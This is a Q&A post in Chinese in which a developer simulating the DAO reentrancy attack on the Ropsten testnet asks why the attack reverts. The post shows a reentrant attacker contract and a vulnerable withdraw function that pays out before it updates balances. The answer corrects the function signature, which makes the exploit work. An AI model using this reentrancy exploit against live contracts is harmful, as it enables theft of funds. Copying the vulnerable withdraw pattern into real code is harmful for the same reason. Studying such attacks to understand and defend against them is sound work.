Solidity
模擬 DAO 遞歸/重入攻擊
試圖模擬攻擊。
在我的攻擊合約中:
function attack() public { target.call(bytes4(keccak256("withdraw()")),amount); } function() payable public { if (msg.sender == target) { attack(); } }
目標易受攻擊的合約:
function withdraw(uint256 _value) payable returns (bool success) { if (balances[msg.sender] < _value) return false; msg.sender.call.value(_value)(); balances[msg.sender] -= _value; total -= _value; return true; }
當我呼叫第一個攻擊函式時,事務中出現錯誤。
我該如何調試?
我在堆棧跟踪中看到了一個 Revert。
我確實驗證了智能合約的餘額等於我嘗試提取的金額(100000000000000)
https://ropsten.etherscan.io/tx/0xdf3821e85520549684c121e0786bad1a6b26de00c7a2c659a042d634196a7bba
Although one or more errors occured [Reverted] contract execution completed
在您的程式碼中,該行:
target.call(bytes4(keccak256("withdraw()")),amount);
應該:
target.call(bytes4(keccak256("withdraw(uint256)")),amount);
希望這對您有所幫助。